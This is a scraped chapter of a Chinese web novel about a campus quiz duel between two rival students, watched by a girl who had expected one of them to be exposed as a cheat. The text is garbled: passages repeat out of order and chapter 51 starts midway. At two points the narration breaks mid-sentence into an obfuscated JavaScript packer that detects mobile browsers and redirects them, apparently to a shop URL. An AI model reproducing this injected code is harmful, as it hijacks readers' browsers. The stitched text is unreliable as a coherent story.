你别答应他啊！不要上他的当！不要被他带歪了！ 我是叫你问倒于支扬！不是相互问！你怎么反而被他拖下水了？这是陷阱！！这么明显的陷阱，你看不出来吗？ 可是没有用，已经来不及了。 于支扬目的得逞，鼻腔里发出冷笑。 他把双手撑在演讲台上，对着麦克风道：“很好！那么请问，无线电视台的电视剧传播是通过微波么？” “错，中波！” 沈通从容不迫地站直身体，反问：“世界上第一个空中犯罪问题的国际公约是？” 于支扬答：“《D京公约》！小提琴协奏曲，是以黄梅戏唱腔为演奏题材的吗？” 沈通：“越剧。古代奥运会上的奖冠，是用桂枝编成的？” “错！橄榄枝！” 台下的观众跟不上速度，大部分人已经逐渐放弃了搜答案，二人相持不下，迟迟没个结果。 艹…… 夏注无言以对。 麻了！她选择的新男主PK上届男主，居然不分胜负？ 这TM合理吗？合理吗！ 夏注觉得自己才是那个小丑吧，刚才还不如由她亲自上呢！ 她真想不通这到底是怎么回事？电台室那天，她明明就亲眼看见于支扬用电脑搜题才答出来的！今天沈通出的题目，比那天难了不止一星半点！他怎么可能答得出来？ 这个发展已经跟她想象中完全不一样了！只有两种可能，要么是于支扬今天也作弊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555161|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，要么是他从那天开始，就已经在骗人！ 大礼堂的气氛越来越火热，两位站在顶端的男同学不约而同地交换提问。 他们相互为难着对方，又过了几轮，谁也不肯落下风。 沈通：“已知a、b为整型变量，VB表达式值如何恒为flase？” 答：“简单，a大于b，and b大于a！” 于支扬用手拨开发胶固定住的刘海，额前碎发散开，他身上那股子伪装出来的友好气息已经消失殆尽。 低沉的嗓音再次响起： “同一水平面内有一金属圆线圈M和一带正电橡胶圆环N，当N绕其圆心在水平面内顺时针加速转动时，请判断出M环中产生的感应电流方向以及M变化趋势？” 于支扬的语速很快，明显有意绕晕对手。 这个问题一出，全场的空气似乎变得稀薄，夏注开始感觉有些呼吸不畅。 “是……” 沈通停顿了。 全场师生鸦雀无声，大家都屏住了呼吸静待答案。 可是五秒钟过去了，沈通没有出声。 十秒钟过去了，还是没有…… 一群人的心脏疯狂跳动着，切身体会到了一种前所未有的紧张感，好像回答不出来的人是自己一样。 夏注身后有女同学紧张到发出哭腔：“完了完了，沈通答不出来了，怎么办啊……” “omg……这是什么变/态的题目……” “怎么滴？就允许沈通故意刁难，还不允许我们部长反击了？这个题说真的，不是难，就是有点绕而已……” 后排七嘴八舌地小声议论着，沈通在前方紧紧握着话筒，一动不动。 气氛就这么僵持着，直到于支扬高高举起一条手臂，五指张开，举过头顶。 “沈通，公平一点，我给你五秒钟！”他说。 “五。” “倒计时了！答案是什么？快搜一下！快点！” 纪律部那边开始有人大吼一声，“快点啊，快点啊，没时间了！” “别催了行吗？别催了，我已经在搜了！” “这什么破题啊，题目又长又臭！于支扬脑子有坑吧？” 宣传部则说一句怼一句，开启无差别攻击：“怎么说话呢？明明是你们家那个先接受挑战的！” “你才脑子有坑！你也有坑！你们都有坑！” 评委席上，有位上了年纪的学校领导卡着老花镜，翻了翻笔记本，自言自语道：“哎呀，这是以前物理教材里面的题目啊。” “哦？徐老师你确定吗？” 普老师闻言，也跟着凑过去看。 “对啊，但教育改革之后，学校已经不讲这个了。这两个小子，看来早些年就已经把高中阶段全部的知识点摸透了啊……” “三！” 舞台上，于支扬的手指已经放下了两根。 “二！” 沈通：“电流方向，逆时针，然后……” “一！” 时间到。 于支扬嗤笑出声，调整了一下麦克风的高度，轻描淡写地公布答案：“电流方向逆时针，变化趋势为扩张！” “只答对一半，你输了！” 在场无数人发出无比惋惜的哀鸣…… “愿赌服输。” 沈通说完这句，放下话筒，微不可查地叹了口气。 下一秒，四面八方响起热烈的掌声和欢呼，“啊啊啊啊啊赢了赢了！于支扬yyds！” “太厉害了太厉害了！扬哥超棒！” 夏注愣在原地，感觉一股寒流从头凉到了脚…… 她被身边人推搡了好几下，一脸不可置信地望着正面对观众席鞠躬致谢的身影。 这怎么可能？ 51.第五十一章 “好的，接下来进入今晚的百科问答时间！” 主持人宣布比赛开始，“本轮活动由节目组临时决定，由于支扬同学负责答题，请各位老师和同学们保持安静，以免影响到于同学的思路！” 一轮掌声之后，大礼堂内恢复了安静。 夏注原本站在观众席的人堆里，为了不挡到后面的同学，暂时坐下了。 她坐得笔直，全身心关注着于支扬和沈通的状态。心说沈通你这次可别让我失望啊……至于于支扬…… 可能他事后会生气，会埋怨自己，那都在情理之中。 夏注早就做好了心理准备。她无法忽视于支扬的一举一动，但心里再愧疚也没想过要收手。 可是直到现在，舞台上那人没露出过一丝半点的慌张，无论心虚害怕，还是明显的抗拒反应，都没有。 或许是因为面对着镜头，他的表情管理一直非常得体，整个人过分地沉着冷静了。也只有在沈通被牵扯入局的时候，才明显黑脸了一瞬。 死对头杠上的时候，相互间都不会有什么好脸色，这很正常，大家也习惯了。 只可惜距离隔得太远，她根本看不出于支扬的情绪，此刻又在想些什么…… 但不管在想什么，被一堆人强行架在火上烤，总归不会是高兴。 估计这次结束以后，又要哄好久了……夏注心想。 “兄弟们要不咱们打个赌？” 纪律部那边有人大声吆喝：“我押于支扬这次一定会被问倒的，毕竟对手的实力等级摆在那欸！” “放屁！我们部长啥时候输过？”宣传部也不示弱：“赌就赌！谁怕谁啊！你们这次别玩不起！输了必须当众道歉！” 两个部门三两句话就开始开盘，后排有人边笑边押宝：“别搞别搞，哎哟，说得人家怪紧张的，我好像都闻到火药味了！” “准备好录屏吧家人们，免得到时候有人耍赖！” “必须的呀！这是大场面啊！两个学霸better我cut沈通！太帅了！” “看不起谁呢这是？谁输谁赢还不一定呢！” — 后台关掉了大部分的灯光，仅留下两盏分别聚焦在于支扬和沈通身上。他们一个独自站在台上，一个站在观众席中央，无声的对峙陡然拉开序幕。 于支扬居高临下瞪着沈通，动手把两边袖子朝上一推，默默攥紧了拳头。 如果对手是夏注的话，输就输算了，可她为什么要沈通找来代替她？他俩的关系什么时候这么好了？ “是你啊，好，很好……” 于支扬脸上带着冰凉的笑意：“那就来试试吧！” 没有稿子，没有裁判，毫无征兆的进入主题，他们甚至不需要任何准备，在场的所有老师和同学皆是见证者。 沈通举起话筒：“人有十根肋骨？” 于支扬一秒答题：“错！十二根！” “声卡、音频、光盘、U盘哪一个属于多媒体信？” “音频！” “氢氰酸的哪一条性质可以证明它是弱酸？” “25℃时一摩尔每升hcn溶液的PH值约为3！” “皮影戏中的皮影人物一般是用胶皮制成的吗？” “错！牛皮或驴皮！” 这场可怕的对峙才持续了不到半分钟，夏注感觉自己的脑袋“轰”一声炸开了。 情况不对劲！怎么可能这么快？ 她忍不住从座位上弹起来，满眼不可置信地盯着前方正在一问一答的两人。 沈通问：“商品的价值是由什么决定的？” 于支扬答：“生产该产品所消耗的劳动量，商品在交换中所能购买到的劳动量！” 他答完这题，忽然冷笑出声，毫不掩饰地挑衅：“喂，你就只会问这些课本上的玩意儿吗？” 沈通沉声道：“热身，别得意！” 于支扬：“放马过来啊！” 许多人低着头在手机上快速搜找答案，评委席上那位特邀的外企大领导忍不住鼓掌：“厉害！厉害啊！” “一个脱口而出，一个光速作答，这两个孩子未来可期呀！！” 旁边几位学校领导也跟着附和，普芹有点应付不过来。她望着自己班里针锋相对的两个男同学，心底隐隐生出几分担忧…… 学生会的那几个部门早就已经炸开了锅，“我的妈呀，我今天才发现沈通居然也这么神！” “完全脱稿啊？卧槽！太得劲了太厉害了！沈通加油！” “嗬，过分了吧，一上来就问这么难的题吗？沈通明显是故意的吧？”纪律部和宣传部还是老样子，谁也不服谁。 这不正常，怎么会这样？！ 夏注的心脏都提到了嗓子眼，不明白为什么沈通问的这些问题，于支扬都能全部答对？ 一开始或许是巧合，那连续不停呢？ 像他这样一个只靠搜题直播的家伙，不是应该分分钟就被问倒了吗？ 为什么他们能做到这一步？若不是知道于支扬和沈通关系极差，她甚至都要怀疑他们是提前排练过的…… 夏注感觉手脚一片冰凉。 沈通的输出源源不断，于支扬的回答准确且没有半点卡壳，难度持续升级。 问：“体操吊环中的十字支撑动作，为什么是高难度？” 答：“重力一定时，手臂之间的夹角越大，手臂受到的力也越大！” 于支扬早就较上劲了，脸上的笑意也越来越假：“喂，答题的就我一个，你不觉得很没意思吗？” 沈通示意他继续说。 “要不咱俩换着来，敢试试吗？” 于支扬问。 此言一出，台下的喧哗声又高出一个分贝。 沈通想也不想，直接接受了提议：“可以，你问！” 夏注听到这，不禁瞪大了双眼……满脸讶异地瞪着沈通的背影，说不出话来。 她在心底疯狂咆哮着：你TM在说什么呢？？！ 你别答应他啊！不要上他的当！不要被他带歪了！ 我是叫你问倒于支扬！不是相互问！你怎么反而被他拖下水了？这是陷阱！！这么明显的陷阱，你看不出来吗？ 可是没有用，已经来不及了。 于支扬目的得逞，鼻腔里发出冷笑。 他把双手撑在演讲台上，对着麦克风道：“很好！那么请问，无线电视台的电视剧传播是通过微波么？” “错，中波！” 沈通从容不迫地站直身体，反问：“世界上第一个空中犯罪问题的国际公约是？” 于支扬答：“《D京公约》！小提琴协奏曲，是以黄梅戏唱腔为演奏题材的吗？” 沈通：“越剧。古代奥运会上的奖冠，是用桂枝编成的？” “错！橄榄枝！” 台下的观众跟不上速度，大部分人已经逐渐放弃了搜答案，二人相持不下，迟迟没个结果。 艹…… 夏注无言以对。 麻了！她选择的新男主PK上届男主，居然不分胜负？ 这TM合理吗？合理吗！ 夏注觉得自己才是那个小丑吧，刚才还不如由她亲自上呢！ 她真想不通这到底是怎么回事？电台室那天，她明明就亲眼看见于支扬用电脑搜题才答出来的！今天沈通出的题目，比那天难了不止一星半点！他怎么可能答得出来？ 这个发展已经跟她想象中完全不一样了！只有两种可能，要么是于支扬今天也作弊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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